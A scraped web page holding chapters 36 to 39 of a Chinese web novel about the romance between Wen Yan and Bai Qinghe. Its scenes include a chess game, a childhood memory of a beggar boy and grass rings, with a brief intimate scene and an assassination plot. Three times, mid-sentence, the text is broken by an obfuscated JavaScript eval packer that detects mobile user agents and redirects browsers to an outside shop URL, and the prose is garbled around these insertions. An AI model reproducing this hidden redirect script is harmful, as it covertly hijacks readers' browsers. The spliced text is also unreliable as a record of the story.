“绝对不能走,”谭旭阴沉着脸,咬牙切齿地重新瘫回了软垫上,“现在若是走了,只会更加显得我心里有鬼,这是逃……怕是正中了幕后之人的下怀,我这罪名立马就会被坐实了……” 不管这幕后之人是谁,对方的手段和算计确实算得上高明。 - 十分钟前。 锦桢打着把深色的油纸伞,回屋时被门口连廊下的黑影吓了一跳,定睛一看,捡到了只浑身湿透的“落汤鸡”。 “你有病啊,大晚上的搁这儿装鬼玩呢?”锦桢鲜少在温言面前硬气一回,拎着人的衣领子将其甩进了房间,随后又扯了个巾帕丢在对方身上,“赶紧擦擦。” 温言全程没有任何反抗,直到摔在地上时才回过神来似的咳嗽了几声,用巾帕抹了把脸。 锦桢余光后瞥,手上动作却是丝毫不停,不知从屋里哪个角落摸出了一小缸酒,挽起袖子,颇为粗旷地给两人分别舀了一碗。 “我这屋里不备待客的茶,你将就着……” 他刚将手中的碗放在桌上,话都还没说完呢,温言就已经仰起头一饮而尽了。 锦桢:“……” 果然是禁欲久的人疯起来更吓人。 这人是怎么回事,竟然喝酒喝出了股饿死鬼投胎的感觉。 温言也不废话,抬手将空碗往桌上一搁,什么意思不言自明——再来一碗。 “滚犊子,这酒金贵着呢,赏你一碗差不多了,别得寸进尺啊……” 锦桢呲牙咧嘴地翻了个白眼,避重就轻地略过了林芷先前的提醒,换了个借口拒绝。 反正面前这人也喝不出来好坏。 “少放屁,”温言道,“……你这酒最多值二十两。” 锦桢:“……” 怎么还真给他喝出来了! “得,你舌头灵,骗不过你,”锦桢面上松动,脚下却不着痕迹地将酒缸推得离温言更远了,顺口转了话题,“说说吧,月夕夜怎么没去跟你的柏二少爷厮混,反而是跑我这茅草棚子里来了?” “总不能是怕我对影成三人,孤单吧?” 温言被这话噎了一下,没吭声。 从进门到现在,锦桢只字不问温言为何如此狼狈。 他明明好不容易才感念了一会儿这人的体贴。 “别介,你要不来,我现在已经在去找锦哲的路上了,”锦桢眉头一挑,决定换种说辞逼对方开口,“温公子,尽管下着大雨,这也是一年一度的月夕夜,我的时间可是很宝贵的。” “……倘若,你知道你跟锦哲的关系只 36.臭棋 《囚雀衔环》全本免费阅读 柏清河没问温言为什么现在才来,也没问人为什么来了却悄无声息的呆在树上,不进屋里去;他只是以这么个拥抱的姿势把人往上颠了颠,回身走进了屋。 “果然还是来跟我过月夕夜更好吧,”柏清河尾音上扬,脱下了湿漉漉的外袍后,随手将被雨淋湿而耸拉的发丝往后一撩,转身取了块干净的巾帕,站在温言身后,动作轻柔地擦拭着对方的头发,“就是可惜这月夕的雨下得太不凑巧,我本来想着要带你去逛逛庙会的,你肯定还没怎么见识过皇城的庙会吧……结果这雨一来,好了,什么都没了……” 这话说的信誓旦旦,好像几分钟前还在担心温言到底会不会出现的人不是他一样。 温言坐在茶桌后的椅子上,听着耳边絮叨,任由柏清河胡乱揉搓他的头发,唇角勾起了一抹不甚明显的笑意。 “而且你怎么还来得这么晚,亏我翘首以盼了好久……” 头发擦得差不多了,柏清河低头将巾帕搭在手上,温言正巧转过脸来,两人视线相接,他率先注意到的却是对方脸颊上泛起的淡淡红晕,随后才从对方无一丝笑意的眼中品出了些别的意味:“怎么了?你看起来很不开心。” 这话问的没头没尾,语气倒是笃定得很。 总不能是陪我过节这件事让你这么沮丧吧…… 柏清河忍不住心想。 果然,无论多少次,温言都不得不感叹对方这敏锐的直觉。 仿佛他的所有情绪都无所遁形,令人战栗。 “你看错了,”温言矢口否认,他此刻看起来倒是比刚才神智清明了不少,似乎总算是觉得湿乎乎的衣服粘在身上恼人了,反手脱下外袍丢在地上,有些牛头不对马嘴地答道,“我想见你,所以就来了——不欢迎?” 这话说得,可真是欲加之罪,何患无辞了。 柏清河的脑子被这半直白半质问的话噎住了一瞬,嘴上只来得及下意识地发出一声九转十八弯的叹调,以此来表达自己对于对方误会的不满,手上却是忙不迭地捡起了衣服,放一旁挂好,用行动来展示自己十足的“恭迎”。 温言对此不置可否,两人一站一坐,彼此间距离过近,他视线下移,在划过柏清河腰带时停顿了一瞬,突然伸出手指勾了下对方腰间的玉佩。 “什么时候换上的?” “当然是一回来就换上了。” 柏清河回答得不假思索,自动略过了他回府后的种种翻箱倒柜,最终才在库房角落翻出了盒子的所有细节,说话间微微俯身,更凑近了几分,几乎要给温言一种呼吸交融的错觉,“温言,莫非我的表现还不足够显得一日不见便思念成疾?可惜,你先前看起来不怎么信啊——现在信了?” ……得了便宜还卖乖。 温言这回倒是没再像曾经那般后仰避开,反而仰起头问道:“若是没下雨,真去了庙会,你是想玩什么?” 想玩什么? 堂堂柏二少爷,竟是沉吟了片刻,难得在这种问题上犯了难。 庙会上的东西总是大同小异,这么些年他自然是从头到尾都玩了不知道几个遍,真要他在这时候说点什么感兴趣的,反而说不出了——更何况,他内心隐秘的真实目的其实是想知道温言对什么感兴趣…… 说白了,柏清河姑且自认自己对温言其人的接触还停留在富有神秘感的试探阶段。 因此逛庙会的重点其实是“跟温言一起”,而并非庙会本身。 只不过这话要真说出口,又未免有些过于直白,饶是柏清河这种脸皮赛城墙的人,都不免觉得难以启齿。 于是他只能干巴巴地嘟囔道:“没,没什么……” “是么,”温言十分善解人意地没再追究这个问题,甚至还给人打了个圆场,“既如此,听上去就没那么遗憾了,是好事。” 怎么会不遗憾? 柏清河下一秒几乎就要脱口而出。 说得像你明年也仍然会陪我过月夕夜一样。 像今夜一样。 柏清河冷不丁被自己这想法吓了一跳,差点咬上了口中欲言又止的舌头。 为了压住心里这些旖旎,他嘴上的话转了几转,竟然硬是从善如流地拐了个弯再续上了:“……主要是还得看温公子你愿意陪我玩什么,对吧?” “……” 温言环视了一圈,这柏二少爷的屋内倒是和他本人“崇尚简约”的穿着相去甚远,摆了一堆大大小小的物件不说,还乱得毫无风度和格局可言,里头指不定藏着多少没被收拾出来的陈年破烂,放眼望去,能让人体面地抬脚落个座的位置,除了这摆着个棋盘残局的茶桌,就只剩床榻了。 柏清河的目光随之而动,直到看清了温言视线停留的落点,才总算是后知后觉地意识到了这茬儿,顿时耳根发烫。 他话说出口的时候是真没想到还有这层意思! 可若是让他现在就这么摆手否认,身体里那点随着加快的心跳声升腾而起的小火苗又能立马喷涌直上,将他试图动作的手指和喉咙灼伤。 温言哪能猜到柏清河心里这些弯弯绕绕的挣扎,更不会知晓柏清河此时几乎要在心里给他磕头作揖的感念——此人终于难得体悟到对方那总是闭口不言的习惯是一个多么高尚且应当被发扬的美德。 “不如……”柏清河面上扯出的笑容显得有些僵硬和别扭,不仅如此,他简直觉得温言现在望向他的目光就像一根根细针,扎得他浑身刺挠,“……你陪我把这盘残局下完?” 温言仿若无意地施施然收回目光,正要点头应下,就听到门外传来一阵疾呼。 “少爷!夫人喊你去陪她下棋!你去不去啊!”大概是怕被雨水盖住声音,望尘难得敞开了嗓门,气出丹田,站在门外酣畅淋漓地大喊道,“你回个话——去不去啊——!” 温言:“……” 柏清河:“……” 屋内二人皆是被这声如洪钟、气势磅礴的一嗓子给喊愣了神。 柏清河自觉面子上挂不住,又颇有些心虚的不想让对方知道他屋里还有人,只好隔着门板也冲着对方“唱山歌”:“不去!你让我哥去陪她下!” 柏二少爷,作为一位从小到大每次下棋坐不到五分钟就会找各种借口逃跑,下棋水平自然也不怎么样的柏家人— 37.答案 若说柏清河一分钟前还言之凿凿地以为温言是在自谦,执棋下了两个来回后,他立马就发现了对方的真实水准。 ……两位水平相当的臭棋篓子,竟然还真能下得有来有回! 但就这么干巴巴地下棋肯定不行,在柏二少爷的人生观念里,下棋绝对算不上能够探讨“风花雪月”中任何一环的事情——此举有违他喊人来过月夕夜的初衷。 于是柏清河落下一子后,突然没头没脑地开口问道:“你明日有空吗?” 温言手下棋子杀得“血雨腥风”,眉头一挑,抽空示意对方“有何贵干,有屁快放”。 “今夜大雨,原先想在庙会捞一笔的商铺们没能赚到钱,说不定明日还会再开,”柏清河也不遮掩,上赶着和盘托出道,“去吧,我想和你一起去。” “……真是抱歉,大概没空,”温言眼角一弯,重新低下头,仔细思考着下一步该将棋子放在哪儿,“你明天也应该有事才对。” 柏清河还没来得及质问对方到底为什么每次约都没空,就被后半句话给说得一愣:“我应该有什么事?” 温言落下一子:“见谭旭。” 朝堂之上,各门各派耳目众多,温言接了这个任务,自然也从年轻人那里得到了些最新消息,知道柏家明日会派人跟着巡检司一同捉拿谭旭,只不过派出的具体人选是谁,暂未可知。 于温言而言,大概一猜就能想明白,柏清河是最佳人选。 因为这是一个难得能在巡检司面前露脸的大好机会,倘若表现好、处理得当,得了赏识,还能参与后续审问的话,更无疑是一种积累经验,乃至结识人脉的好时机。 而柏家一家四口,柏夫人暂且不提,柏平昀作为大帅,已有无数功名傍身,柏青舟又无意于朝堂官位,只想安分守己地当这皇城里富甲一方的大商人,那么便只剩下柏清河——这位要继承父亲衣钵的柏二少爷,如今最缺少的就是机会。 更何况,此次辛城困境,也是柏清河前去救人于水火之中。 于情于理,他都是最合适的人选。 脑中只想着要将氛围掰回“正轨”的柏清河怎么也没想明白,他们为什么会突然聊起这种正事,却还是有些无奈地答了:“温言,我还是实在好奇,你到底在为谁卖命、真实身份又是什么……这消息的到手速度未免也太快了些,有时候真令我觉得毛骨悚然……” “没你想的那么神,”温言抬眼笑了笑,从棋盘上拿走了两颗黑子,避重就轻地略过了问题,“好猜罢了。” 真是个很好的安排。 温言心里想着,只是因为面对的是柏清河,他才难得生出些真情实感的歉意……可惜,他还是不会让他们有这个机会的。 “温公子还是那般心思敏捷,”柏清河面上半分没有要事被挑破的尴尬,反而也跟着笑了,还摆出了一副言辞恳切的样子,“不过只要你想去庙会,我就是偷偷将这事推了也没关系,左右还有我爹能顶上,不重要。” 这话说得,简直就是直接在向眼前人表明:我一定会优先考虑你。 温言自然听明白了其中意味,抬头望向柏清河的眼底,幽深,却坦率。 于是他只能像差点被灼伤般,狼狈地收回了视线,没接这个茬。 他想不明白。 柏清河表达得太过于轻而易举,反而勾起了他心中的疑虑。 或许只是说者无意,听者有心。 毕竟……他到底哪里值得了? 温言扪心自问,他自己都给不出答案。 那大概就是不值得的吧。 哦,他又在拒绝我了。 柏清河并不知道自己投出的这枚石子到底在温言心里撞出了多大的浪涛,却也从这瞬息之间读懂了对方的言下之意,伸手从棋盘中拈出了几枚被吃的白子。 “被拒绝”的认知却并没有对他造成半分颓废和打击,反而还让他隐隐生出股越挫越勇之势。 这人怎么总是这么心口不一。 别扭死了。 柏清河思忖半晌,眼珠一转,计上心头。 “哎呀,我的‘秘密’这么轻易就被你挑破了,温言,你总得还我点什么,这才‘公平’吧?”柏清河装无赖的功力简直是炉火纯青,只见他抬手撩了下半干的发丝,随时随地捏着嗓子就能开演,“不如就拿温言你自己的秘密来换吧,我只对你的事儿感兴趣……就一个,我要得也不多,一个就够了。” 温言:“……” 哪有这样腆着脸空手套白狼的! 可一看到对面坐着的是柏清河,温言又不由得凭空长出了一百二十分的耐心,被他这段堪称胡言乱语的诡辩逻辑牵着鼻子走,也只是随他心意、一笑了之。 “好吧,”温言最终还是笑着应了,“让我想想。” 柏清河坐在对面“严阵以待”,心里默默决定无论等下对方嘴里编出什么假故事,他都能用花言巧语给接上话。 可真等对方一开口,他却倏地怔住了。 “我曾经……不,我从出生开始就是个没人要的小乞丐,那时候只会整日跟在一个老乞丐后头,就为了沿街乞讨两三粒米,或者捡些残羹剩饭吃,活得像个……人人喊打的过街老鼠,”温言垂首拨弄着面前的棋子,努力试图装出副毫不在意的样子,说出口的话却几次停顿,“……怎么样,柏二少爷,这个私人秘密够还吗?” 他就用这么寥寥几笔带过了自己人生最初始的七八年,同时却又矛盾的借着这个机会,不得章法地急于剖出自己最不堪、最狼狈的一面。 但没关系,温言自嘲地想,反正对方已经不记得了…… “喔!这可真是巧了,”柏清河突然双掌一合,靠着这番动静,强行将沉溺在心声中的温言拉回了神,“哎呀,这皇城可真是小啊……我小时候就碰到过一个小乞丐。” 什么意思? 温言还没来得及震惊,柏清河嘴里的话就跟那被抡出火星子的转轮似的,叽里咕噜地往外冒了出来。 “我跟你说,我当时可是偷偷往茶水里下药放倒了师父,才得以悄悄溜出门的,出来后本来想着肯定要吃香喝辣,好好玩一通再回去,结果一摸口袋,兜里叮当响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12821782|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买了串糖葫芦后便彻底两手空空了——不过我后来再偷溜出去时吸取了这个教训,也不亏——也就是这时候,我瞧见了包子铺旁边蹲着个小乞丐,啧啧,面黄肌瘦的……” “我当时……说来惭愧,本来没想管的,可那包子铺老板下手太凶,完全就是在欺负人,我看那小乞丐骨瘦如柴的,怕他真被打出个好歹来,总不能真的见死不救吧……所以最后还是跟了上去,那小乞丐后来闭着眼睛倒在了一棵树下,给我吓一跳……” 柏清河讲述起这段回忆的样子,简直是如数家珍,脸上甚至隐隐涌出些笑意。 “于是我立马把手中只咬了一口的糖葫芦递了过去,那小乞丐大概是真饿坏了,因为我头一次见到对着糖葫芦都能吃得狼吞虎咽的人……”柏清河瞧着眼前温言的神情,没忍住笑了两声,“只可惜,我没能问到他的名字……但我当时也没多想,只觉得乞丐没名字也挺正常的,而我再不走,回家晚了屁股就要被我爹打开花了——当然最后还是晚了一步,没能逃过这顿打……” “我们约好,不,应该说是我单方面约好了,下次见面,我会带着肉包子去找他……可等过了几天,我好不容易又找着由头溜出门时,却再也找不到他了。” 但尚且年幼的柏清河不甘心,他不愿意接受这个结果……甚至总觉得是对方违约,颇有些气愤地想要找对方要个说法。 “我找了好久,最终找到了那个老乞丐,我问他,那个总爱跟在你身后的小乞丐去哪里了,他说不知道,我不信,觉得他在骗我,就一遍又一遍地缠着他问……” 温言听着对方绘声绘色地描述,脑中不由得浮现出了想象中当时的情形。 尚且还是个小孩子的柏二少爷,打理得板正,虽然没有穿金戴银的喜好,身上衣着也没有那些繁杂的花纹,但想必光是布料便已价值不菲,却整日蹲在那臭气熏天的土坑里,缠在穿着破衣烂布的老乞丐耳边喋喋不休,这画面怎么想都不由得有些令人啼笑皆非。 “后来那老乞丐被我缠得烦了,急于摆脱我,就只好跟我说,那个小乞丐过不下去这种臭烘烘的生活了,早就跑了……大概,已经死了……” “你骗人!”小柏清河气愤地站在老乞丐身边,大喊道,“他肯定没死!” “呸,你爱信不信,”瘫在土坑里的老乞丐斜睨了他一眼,从鼻腔里发出不屑地哼声,“小少爷,你这种含着金汤匙出生的人,大概一辈子都不会明白,这世道想要饿死一个像我们这样的畜生,是多么容易的一件事。” “左右你也该放弃了……就当他已经饿死了吧。” “……你!” 小柏清河脸蛋涨得通红,支吾半晌却找不出一句反驳的话,最终也只是愤愤地一跺脚,转头跑了。 “温言,时隔经年,我终于得到了当年的答案,”柏清河直视着温言的目光,眉眼含笑,显得坦率又亲昵,像个足够温柔、足以诱人深入的漩涡,“可是这还不够,我仍旧好奇当年那个小乞丐到底去了哪里,过得好不好……” “温言,你还能……再多给我几个答案吗?” 38.毕方 小乞丐……他去了哪里,过得好不好? 温言脊背微弓,像是被人强行掩住了口鼻,呼吸逐渐变得急促起来,胸口起伏间,眼前闪过了一道道混杂着哭嚎与血泪的光影,无数人影错综交叠,仿佛又将他带回了那间暗无天日的地牢。 窗外突然传来一声高昂盘旋的鹰唳。 是小柏的叫声。 “小乞丐过得一点都不好,”温言嗓音颤抖着,无意识地蜷缩起发麻的指尖,“……他活得很糟糕,还不如死了。” 还不如死了。 这个想法曾经在年幼的小温言脑中盘旋过无数次。 起初,是十几个素未谋面的小孩们被关在了一起。 小温言是其中比较显眼的——因为只有他穿着的衣裳是破烂,头发乱糟糟的不说,脸上还混着黑灰——这种形象自然很难成为恐慌中的同龄人的亲近对象。 当然,他们本身也不应当多亲近。 不均的食物分配,高压的战斗技巧学习,强硬的惩罚手段…… 这里的一切都在向他们这群乳臭未干的孩子们宣告:你们只需要成为你死我活的敌人。 这就够了。 这里的人,这个将他们装进麻布袋拐来的组织,只需要合格的“物品”。 于是“不合格的”、死掉的人越来越多。 十天,五天,三天,一天两个…… 啊……我还不如死了。 小温言几乎麻木在了这片“尸山血海”当中,他的一举一动都伴随着数不清的疼痛,衣襟上沾着的再也不是街边人们踹来的黑泥,而是不知何时喷溅上的温热血迹……直至干涸。 是他们,这些被逼迫着极速成长的孩子们,还没来得及学会怎么当一个正常的“人”,就早早成为了刽子手,亲手杀死了那些死去的人。 因此他们也被剥夺了相应的权利。 ……他们将不再是人。 蜷缩在角落里,被人扯着头发拖出来责打的情况时常有之……每日睁眼闭眼耳边都是哭喊声,这群畜生折磨他们的手段层出不穷,饶是小温言这种从小就吃尽苦楚才吊着口气的街边乞丐,都不由得暗暗咋舌,时常觉得自己就要活不下去了…… 他想活下去。 他当然想活下去。 可他好像没有理由再这么坚持着活下去了,他快要疯了…… 为此,他有努力给自己寻找过很多很多个理由,甚至掰着手指头一个个地数,他想,也许老乞丐熬过了一个又一个寒冬,还在土坑那儿等他回去;也许老先生偶尔还会看着墙角,抽屉里放着省吃俭用才好不容易留给他的半个馒头;也许当年那个说要给他买肉包子的小男孩还在锲而不舍地找他…… 好吧,小温言默默蜷起手指……他再乐观也不得不承认,最后一件事的可能性确实微乎其微。 可他确信,自己大概还是想再见到这个只有一面之缘的小男孩的,至于等见到了之后,又会说些什么?做些什么? 他不知道。 他从来没有想过。 他甚至说不上来自己究竟为什么还想要再见对方一面。 可能……我只是想跟他道个谢。 小温言尽力捂住了嗓子里咳出来的腥甜,思绪飘忽,也许他早就已经不记得我了,但我还是想要告诉他,那是我人生中第一次吃到糖葫芦。 柏清河抓住了温言有些颤抖的手腕,顺势向下安抚性地轻轻拍着对方的手背,这才趁着人放松警惕的瞬间将对方紧握成拳的掌心翻转朝上,看清了那些快要被抓冒血的指甲印,心下酸涩。 “柏清河,”温言低头看着两人紧贴的掌心,眨了眨眼,将冰凉的指尖搭在了对方的手背上,“那串糖葫芦真的很甜。” 四下寂静无声,柏清河沉默半晌后,突然笑了:“怎么一串糖葫芦就让你惦记了这么久?” “温言,原来过得不好没关系,运气很差也没关系,”柏清河抓着温言的手晃了晃,像个努力讨巧,想要得个笑脸的小孩儿,“在我这里,你永远值得更好的礼物。” 温言没再抽回手,任由对方来回摩挲过他的指节,泛起阵阵痒意,脸上不由得露出了个有些无奈的笑:“柏清河,你这爱平白夸口的毛病啊……” 柏清河被说得一皱眉,要不是还抓着温言不松手,这份佯怒还能装得更真些,道:“才不是夸口,我是真的准备了礼物要送你的!” 此言一出,这回倒是轮到温言心下诧异了。 他还从未见过这般接二连三地上赶着送礼的架势,心道这人莫不是送礼送上瘾了…… 这玩意儿还能有瘾的? 柏清河似乎有些急于证明自己没说假话,顾不上管温言心里在想什么,话音刚落,便松了手,推开窗户利落地翻了出去;温言正准备起身去看这人在抽什么风,他下一秒又翻了回来,只有手中多了几根刚拔下来,还沾着未停的雨露的杂草。 “你等一下。” 毕竟是第一次做这种事,饶是柏清河也不免有些害羞和紧张,他性子急,干脆坐在了地上,将这几根小东西放衣服布料上简单擦擦干净,就埋头兀自编了起来。 温言自然是看不明白这人到底在闹哪出,只好也饶过了桌子,陪着席地而坐,凑了过去。 他不看还好,一盯着看,柏清河便显得更紧张了,手上几乎都要冒出汗来,耳尖和脸颊都泛着红晕,半点都不像是刚淋过雨,反而像是刚被人从蒸笼里捞出来的。 温言看得好笑,本想着好歹还是得给人留个薄面,心下却不免又动起了坏心思;于是十分刻意地凑到了柏清河耳边,帮人撩起了一缕欲垂又止的发丝:“不挡视线么?” “没……”柏清河整个身子都僵了下,抬起手在脸上不自然地蹭了蹭,好像这样就能让人以为他脸上不正常的红晕是搓出来的似的,“……小心我编错了。” 温言是真的好奇:“所以是什么?” 柏清河这下又抿起唇,闭口不言了。 温言也没再追问,就这么静静地坐在旁边……直到一枚小小的指环被套在了他的左手无名指上。 “这是……”什么意思? “先将就一下,等以后遇着更合适的,我们再换,”柏清河将指环推进了温言的指根,衡量过后,才颇为满意地一点头,“你瞧,大小正合适。” 这太突然了。 温言听得心头一跳,几乎是下意识地就要伸手将这灼人的玩意儿给取下来,却又被柏清河的另一只手半路截胡,给挡住了。 于是他只好哑着嗓子问道:“……柏清河,你疯了吗?!” 温言虽然偶尔会被柏清河这不着调的货给撩得炸毛,但总体来说,还算是常年冷静自持,鲜少会出现这么失态的神情——经年累月就碰着这么堪堪一回,也是被这柏二少爷给被逼出来的。 “没疯,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897296|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着呢,”柏清河哪能知晓温言心中掀起的轩然大波,自顾自地欣赏了会儿对方的神情,竟然错位地生出了股成就感,“我知道这太仓促了,也许不是最好的时机,但我还是想现在就送给你。” “哦对,还有这个。” 柏清河腾出空的那只手伸进袖袋中掏了掏,自说自话间,又捞出了枚有些干枯泛黄,但编织手法一模一样的草编指环。 “这可是辛城凉山上的草,你还没去过凉山吧,等以后有空了,我骑马带你去。” 柏清河借着十指相扣的姿势,有些执拗地将这枚指环套在了温言的食指指节上。 温言就这么看着搭在自己指节上的指环,活像是要用目光将其盯出个洞来似的,抬起的左手却一动也不动,矛盾地让这枚随时会被抖落在地的指环稳稳地停在了手上。 两人的动作就这么僵持不下,柏清河却像是受到了莫大的鼓舞。 温言这是默认了? 他是同意的意思吗……他接受了? 柏清河这般想着,面上几乎是有些雀跃了起来,可这幸福来得实在是太顺利了,他的脑子还没能及时跟上,出于保险起见,还是忍不住开口问了句:“温言,你知道指环戴在无名指上是什么意思吧?” 怎么可能不知道。 就是因为知道,才自觉远不够格,惶恐万分。 这不是他该奢求的东西。 可到底情难自已。 温言猛地伸手拽过柏清河的衣领,将对方压近的身子彻底拽到自己面前,仰头吻了上去。 柏清河像是完全没料到对方会这么主动,瞬间脸色绯红,下意识地抬手想要扶在温言腰间,却放也不是,不放也不是……直到温言不知何时松开了拉着他衣襟的手,转而双臂虚虚勾住了他的脖颈,偏头问道:“……来么?” 柏清河气血上涌,无师自通地按住了对方的后脑,加深着方才那个耳鬓厮磨的吻,同时手臂用力,将人直接从地上抱了起来,快步走向不远处的床榻。 …… 窗缝间吹来阵阵夜风,帷帐飘动,两人的衣衫早就被胡乱丢在了地上,温言恍惚间被翻了个身,顾不上褥单被抓出的层层褶皱,弓着身子,躲闪不及,温热的吻就这么落在了他的脊背上。 他嗓音颤抖,发出了一声无用的低吟:“别……” “这是什么?” 柏清河抬起身,这才借着昏黄的烛台焰火,用指尖细细描摹过温言脊背上的刺青,这东西也不知用的是什么手法,红青相间,竟显得有些妖异。 温言浑身颤抖,似乎是想要支起身子,尽力遮挡住对方的视线,口中倒是很诚实地回答了这个问题:“毕方……是毕方……” 为什么会有这个刺青? 什么时候有的这个刺青? 这些问题萦绕在柏清河心头,他却难得及时地闭了嘴,没再追问下去。 他直觉自己现在并不该知道这些问题的答案……也许会很煞风景。 于是柏清河只是近乎虔诚地又在温言的肩胛处落下了一个吻,随后贴近了对方的耳廓,语带调笑地夸赞道:“很适合你,很好看……” “温言,温言啊……你可不就是只爱往我心上燎火的混蛋毕方……” 温言只觉自己被折腾得精神恍惚,一只手甚至还被强硬地十指相扣着,声音支离破碎,却还是下意识地反唇相讥道:“……那也没你混账。” 39.动手 翌日一早,闲不住的望尘拽着望洋就往城中的早餐铺赶。 好像慢一步就会给他饿个够呛似的。 “老板娘,给我两个肉包子!”望尘左顾右盼地找到了目标,立马笑着停下脚步,伸出手指比了个数,又转头朝着望洋絮叨,“我跟你说,这个铺子卖的包子是我吃过最好吃的,要是来晚了可就没了……” “好嘞,客官您喜欢就好!”老板娘笑呵呵地拿出个纸袋子,掀开蒸笼盖,迅速包了两个热腾腾的包子进去,“记得趁热吃啊……小伙子你呢?” “肉的两个,素的一个。”望洋出门的时候柏青舟已经醒了,他理应得帮忙带一份回去,不由得同身边人问道,“不用给二少爷带一份吗?” 望尘闻言,摆了摆手:“不用,他肯定还睡得昏天黑地呢。” “二少爷最近很忙?”望洋接过老板娘递来的纸袋子,边走边皱起了眉,“从昨夜起就有些奇怪,还真是少见二少爷不爱凑热闹……” 望尘张嘴咬了一大口包子,舌头被烫着了,有些含糊地说道:“不知道啊,我昨夜去敲门他也没给开,可能是真有什么事儿吧……等到时候巡检司的人快来了,我再去喊他。” “也行。”望洋点了点头。 屋内,身旁的桌上放着块沾了点点血迹的手帕,温言面无表情地站在墙边,有些走神地端详着眼前的挂历。 月中了……距离理应服下解药的日子又过了一夜。 巡检司众人今日便要去捉拿谭旭,想必等下就会来柏府同柏清河一道出门。 而他,则必须要赶在所有人之前动手,将谭旭其人灭口。 万千思绪从心下掠过,温言仔细学着柏清河的习惯,平整地撕下了这面日期。 ……迫在眉睫啊。 温言回头看向身后,“睡得昏天黑地”的柏二少爷一夜好眠,被众人轮番念叨着打了个喷嚏,半梦半醒间想要翻个身揉两把发痒的鼻子,才有些意识到不对劲。 又用了点力,手臂还是纹丝不动。 柏清河猛然惊醒,想要翻身坐起,却被不听使唤的双臂绊住了动作,脑袋好险狼狈地栽回到枕头上。 他靠着床柱,狠狠眨了两下眼睛,这才一脸不明所以地转头看向已然穿戴齐整、一身利落地站在床边的温言——这人甚至一反常态地扎了个高高束起的辫子,露出了细瘦的脖颈。 昨夜的种种细节瞬间纷至沓来,差点将柏清河好不容易醒过神来的脑子又烧了个底掉。 ……不对,现在不是该想这些的时候。 温言则趁着对方走神的刹那,不动声色地将桌上的手帕收入了袖袋中:“你醒了?” “啊……是,你在……”眼前的情形和身后被捆住的双臂过于割裂,也难怪柏清河着实是摸不着头脑,只能词不成句地问道,“等下……这是什么意思?” “大概就是你理解的意思。”温言垂头,语焉不详地回答道,“我想了想,有些话还是当面说比较好。” 柏清河直觉眼下这场景实在不是什么说甜言蜜语的好氛围,不信邪地奋力扭动着双臂,试图挣脱开来,可惜尝试了好几次都挣扎无果,始终绷紧的肩膀这才认命般地卸了力。 “好吧,”他强压住心下不知所起的恐慌,有些无可奈何地说道,“我倒要看看,有什么话是必须得捆着我才敢说的。” 但其实也没有什么。 时间紧迫,温言仓促地别开了两人相触的视线,抬起手,缓慢地摘下了贴着指根的两枚草编指环。 “什么意思?”尽管柏清河有做一定的思想准备,此刻仍不免心跳加速了起来,他费力地弓着身子,想要离眼前人更近一分,好像这样便能更好地粉饰太平似的,“没关系,你要是不喜欢的话,我之后再给你买别的……你……” 温言轻轻地将两枚指环放在了柏清河的枕侧。 没有不喜欢,怎么会不喜欢…… 温言用指尖摸了下指环的纹路,强迫自己收起留恋,摇了摇头。 “不,柏清河,”他冲着对方露出了一个有些克制的笑容,与从前的很多次一样,“你应当重新考虑一下这东西的去处。” 没法再自欺欺人的柏清河被这笑容刺了个透,浑身的体面在这一刻几乎是消失殆尽,他像只徒劳挣扎、目眦欲裂的困兽,做不出有效反抗,只能咬着牙道:“考虑个屁!” “……现在不愿意考虑也没关系,”温言十分好脾气地背过手去,用衣袖掩住了指尖的颤抖,“你之后会懂得该怎么做选择的。” “你凭什么这么笃定,”柏清河目光如炬,死死地瞪着眼前人,胸口剧烈起伏着,“温言,你凭什么……你到底有多少秘密瞒着我!” ……那可真是太多了。 “你都会知道的……如果我还有机会讲给你听的话,”温言脸上露出个一闪而过的苦笑,口中话音一转,“等下望尘应当会回来,在此之前,就委屈你先在床上呆一会儿吧……” 温言走向窗边的脚步一顿,重新回过头,盯着愤怒却又无计可施的柏清河看了几秒,最终还是凑过去,抚着对方的脸,落下了一个吻。 随即便像个阅历丰富的登徒子,利落地翻墙跑了。 徒留柏清河在背后遥遥骂街。 - “将军。”一名侍卫从房梁上一跃而下,“巡检司的人动了。” 谭旭点了点头,放在膝头的手微微收紧了几分。 他今日还敢这么大剌剌地坐在院内,自然是做足了准备,即使巡检司那帮效忠于老皇帝的走狗随时杀进来了,他都有把握利用这些四散开来、排布妥当的侍卫织出的“网”为自己争取到一时半刻。 倘若来的是柏平昀,他便能直接当面跟人把话说清楚;倘若不是,也能为自己留个交代清楚、给柏平昀传话的机会。 总之,这事儿绝不能拖到地牢里再着手解决。 那是个什么地方,他们这些人都心知肚明得很,关押的基本都是些犯了重罪的死刑犯或是替罪羊,上什么东西给人刑讯逼供完全是看这帮走狗的心情,等到什么时候扛不住了,为了能死得痛快点,多少罪名都得一股脑儿地给认下去。 在那里,只有天真的傻子才会在乎真相,而走狗只需要一个能讨得着肉的结果罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 